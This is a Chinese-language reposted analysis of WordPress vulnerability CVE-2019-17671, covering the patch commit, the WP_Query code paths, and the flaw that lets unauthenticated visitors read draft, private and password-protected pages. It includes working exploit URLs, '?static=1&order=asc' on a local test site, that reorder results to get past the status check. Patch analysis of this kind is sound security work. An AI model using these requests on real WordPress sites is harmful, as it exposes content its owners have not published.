溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何查看WordPress未授權(quán)文章

發(fā)布時間:2021-12-23 09:48:49 來源:億速云 閱讀:166 作者:柒染 欄目:安全技術(shù)

這篇文章給大家介紹如何查看WordPress未授權(quán)文章,內(nèi)容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

 近期,WordPress發(fā)布了最新的v5.2.4版本,并修復了很多安全漏洞。我們將對其中的一個漏洞CVE-2019-17671進行分析。

信息收集

該漏洞由安全專家J.D.Grimes發(fā)現(xiàn)并上報,并且披露了如何利用該漏洞查看未授權(quán)文章的方法。但是目前我還找不到任何相關(guān)的PoC,因此首先我們需要盡可能地收集關(guān)于該漏洞的信息。首先,我查看了不同安全廠商關(guān)于該漏洞的聲明,大部分廠商都引用了相同的一句話:“該漏洞也許可以允許他人查看WordPress中未授權(quán)的文章”。

參考資料

1、https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html

2、https://blog.wpsec.com/wordpress-5-2-4-security-release/

3、https://www.reddit.com/r/netsec/comments/di9kf2/wordpress_524_security_release_breakdown/f3vbuyh/

根據(jù)收集到的信息,我在WordPress的SVN倉庫/GitHub庫中,找到了5.2-branch分支,點擊最近的commit,然后查看提到了“unauthenticated posts”或者“viewing posts”的相關(guān)commit。此時,我找到了一個相關(guān)的commit:f82ed753cf00329a5e41f2cb6dc521085136f308。

補丁分析

這一個commit只修改了兩行代碼,刪除了static關(guān)鍵字,并修改了部分if條件語句:

如何查看WordPress未授權(quán)文章

根據(jù)我的猜想,被刪除的static關(guān)鍵字跟這個漏洞有著直接的關(guān)系。wp-includes/class-wp-query.php的第731行代碼開始包含parse_query函數(shù)了,而該函數(shù)可以過濾并解析傳入的所有查詢參數(shù)($_GET)。

從第696行到第922行的代碼可以根據(jù)給定的參數(shù)來設(shè)置$this->is_single、$this->is_attachment以及$this->is_page。這些條件分支都基于else if實現(xiàn),但其中只有一個比較關(guān)鍵:

// If year, month, day, hour, minute, and second are set, a single// post is being queried.} elseif ( '' != $qv['static'] || '' != $qv['pagename'] || ! empty( $qv['page_id'] ) ) {$this->is_page   = true;$this->is_single = false;} else {// Look for archive queries. Dates, categories, authors, search, post type archives.

我們肯定不是想設(shè)置attachment、name、p或者hour之類的參數(shù),因為這些參數(shù)可以繞過代碼中的條件分支。但是我們又不能直接設(shè)置pagename或page_id,因為我們并不知道這些參數(shù)的值,而且些參數(shù)將可能導致訪問控制檢查失效。

這里,我們需要在參數(shù)列表中使用static=1。研究了半天之后,我找到了get_posts()函數(shù),而這個函數(shù)可以使用已解析的參數(shù)來查詢數(shù)據(jù)庫內(nèi)容:

public function get_posts() {global $wpdb;$this->parse_query();[..]

在多個位置使用var_dump調(diào)試后,我找到了下列代碼:

// Check post status to determine if post should be displayed.        if ( ! empty( $this->posts ) && ( $this->is_single || $this->is_page ) ) {            $status = get_post_status( $this->posts[0] );            if ( 'attachment' === $this->posts[0]->post_type && 0 === (int) $this->posts[0]->post_parent ) {                $this->is_page       = false;                $this->is_single     = true;                $this->is_attachment = true;            }            $post_status_obj = get_post_status_object( $status );            //PoC: Let's see what we have            //var_dump($q_status);            //var_dump($post_status_obj);            // If the post_status was specifically requested, let it pass through.            if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) {                //var_dump("PoC: Incorrect status! :-/");                if ( ! is_user_logged_in() ) {                    // User must be logged in to view unpublished posts.                    $this->posts = array();                    //var_dump("PoC: No posts :-(");                } else {                    if ( $post_status_obj->protected ) {                        // User must have edit permissions on the draft to preview.                        if ( ! current_user_can( $edit_cap, $this->posts[0]->ID ) ) {                            $this->posts = array();                        } else {                            $this->is_preview = true;                            if ( 'future' != $status ) {                                $this->posts[0]->post_date = current_time( 'mysql' );                            }                        }                    } elseif ( $post_status_obj->private ) {                        if ( ! current_user_can( $read_cap, $this->posts[0]->ID ) ) {                            $this->posts = array();                        }                    } else {                        $this->posts = array();                    }                }            }

除了static=1之外,我們并沒有設(shè)置其他特定的查詢參數(shù),我們在$this->posts = $wpdb->get_results($this->request);語句之前插入var_dump($this->request);,輸出的結(jié)果如下:

string(112) "SELECT   wp_posts.* FROM wp_posts  WHERE 1=1  AND wp_posts.post_type = 'page'  ORDER BY wp_posts.post_date DESC "

該語句可以返回數(shù)據(jù)庫中的所有頁面,包括password protected、pending及drafts類別的頁面。因此,! empty( $this->posts ) && ( $this->is_single || $this->is_page )對應(yīng)的值為true。

接下來,該函數(shù)會檢查第一篇文章的狀態(tài)“$status = get_post_status( $this->posts[0] );”:

if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) {

如果第一篇文章的狀態(tài)不是public,則將進一步執(zhí)行訪問控制檢查。比如,當用戶未經(jīng)授權(quán)時,代碼將會清空$this->posts。

漏洞利用

利用該漏洞的方法也非常簡單,首先我們可以控制查詢流程,使第一篇文章的狀態(tài)為published,但返回數(shù)組中包含多篇文章。

我們首先需要創(chuàng)建一些測試頁面:即一個處于已發(fā)布狀態(tài)的頁面和一個處于草稿狀態(tài)的頁面。

這里我使用的是頁面,因為post_type='page'是WordPress的默認設(shè)置,但如果有需要,我們可以設(shè)置&post_type=post,這樣就能修改文章類型,變成post_type = 'post'。

如何查看WordPress未授權(quán)文章

目前我們知道,如果在WordPress的URL添加?static=1,即可以查看到網(wǎng)站的隱私內(nèi)容。在訪問控制檢查代碼的前面插入var_dump($this->posts);,可以看到http://wordpress.local/?static=1這個URL會返回如下內(nèi)容:

array(2) {  [0]=>  object(WP_Post)#763 (24) {    ["ID"]=>    int(43)    ["post_author"]=>    string(1) "1"    ["post_date"]=>    string(19) "2019-10-20 03:55:29"    ["post_date_gmt"]=>    string(19) "0000-00-00 00:00:00"    ["post_content"]=>    string(79) "<!-- wp:paragraph --><p>A draft with secret content</p><!-- /wp:paragraph -->"    ["post_title"]=>    string(7) "A draft"    ["post_excerpt"]=>    string(0) ""    ["post_status"]=>    string(5) "draft"    ["comment_status"]=>    string(6) "closed"    ["ping_status"]=>    string(6) "closed"    ["post_password"]=>    string(0) ""    ["post_name"]=>    string(0) ""    ["to_ping"]=>    string(0) ""    ["pinged"]=>    string(0) ""    ["post_modified"]=>    string(19) "2019-10-20 03:55:29"    ["post_modified_gmt"]=>    string(19) "2019-10-20 03:55:29"    ["post_content_filtered"]=>    string(0) ""    ["post_parent"]=>    int(0)    ["guid"]=>    string(34) "http://wordpress.local/?page_id=43"    ["menu_order"]=>    int(0)    ["post_type"]=>    string(4) "page"    ["post_mime_type"]=>    string(0) ""    ["comment_count"]=>    string(1) "0"    ["filter"]=>    string(3) "raw"  }  [1]=>  object(WP_Post)#764 (24) {    ["ID"]=>    int(41)    ["post_author"]=>    string(1) "1"    ["post_date"]=>    string(19) "2019-10-20 03:54:50"    ["post_date_gmt"]=>    string(19) "2019-10-20 03:54:50"    ["post_content"]=>    string(66) "<!-- wp:paragraph --><p>Public content</p><!-- /wp:paragraph -->"    ["post_title"]=>    string(13) "A public page"    ["post_excerpt"]=>    string(0) ""    ["post_status"]=>    string(7) "publish"    ["comment_status"]=>    string(6) "closed"    ["ping_status"]=>    string(6) "closed"    ["post_password"]=>    string(0) ""    ["post_name"]=>    string(13) "a-public-page"    ["to_ping"]=>    string(0) ""    ["pinged"]=>    string(0) ""    ["post_modified"]=>    string(19) "2019-10-20 03:55:10"    ["post_modified_gmt"]=>    string(19) "2019-10-20 03:55:10"    ["post_content_filtered"]=>    string(0) ""    ["post_parent"]=>    int(0)    ["guid"]=>    string(34) "http://wordpress.local/?page_id=41"    ["menu_order"]=>    int(0)    ["post_type"]=>    string(4) "page"    ["post_mime_type"]=>    string(0) ""    ["comment_count"]=>    string(1) "0"    ["filter"]=>    string(3) "raw"  }}

大家可以看到,數(shù)組中的第一個頁面為草稿(["post_status"]=>string(5) "draft"),因此頁面是沒有內(nèi)容的:

如何查看WordPress未授權(quán)文章

但是,我們可以使用其他的方法來控制返回的內(nèi)容:

1、order with asc or desc

2、orderby

3、m with m=YYYY, m=YYYYMM or m=YYYYMMDD date format

4、...

在這種場景下,我們只需要顛倒返回元素的順序即可實現(xiàn)漏洞利用。

接下來,訪問http://wordpress.local/?static=1&order=asc,我們就可以查看到隱私內(nèi)容了:

如何查看WordPress未授權(quán)文章

除此之外,我們還可以利用該漏洞查看password protected以及private狀態(tài)的文章:

如何查看WordPress未授權(quán)文章

關(guān)于如何查看WordPress未授權(quán)文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI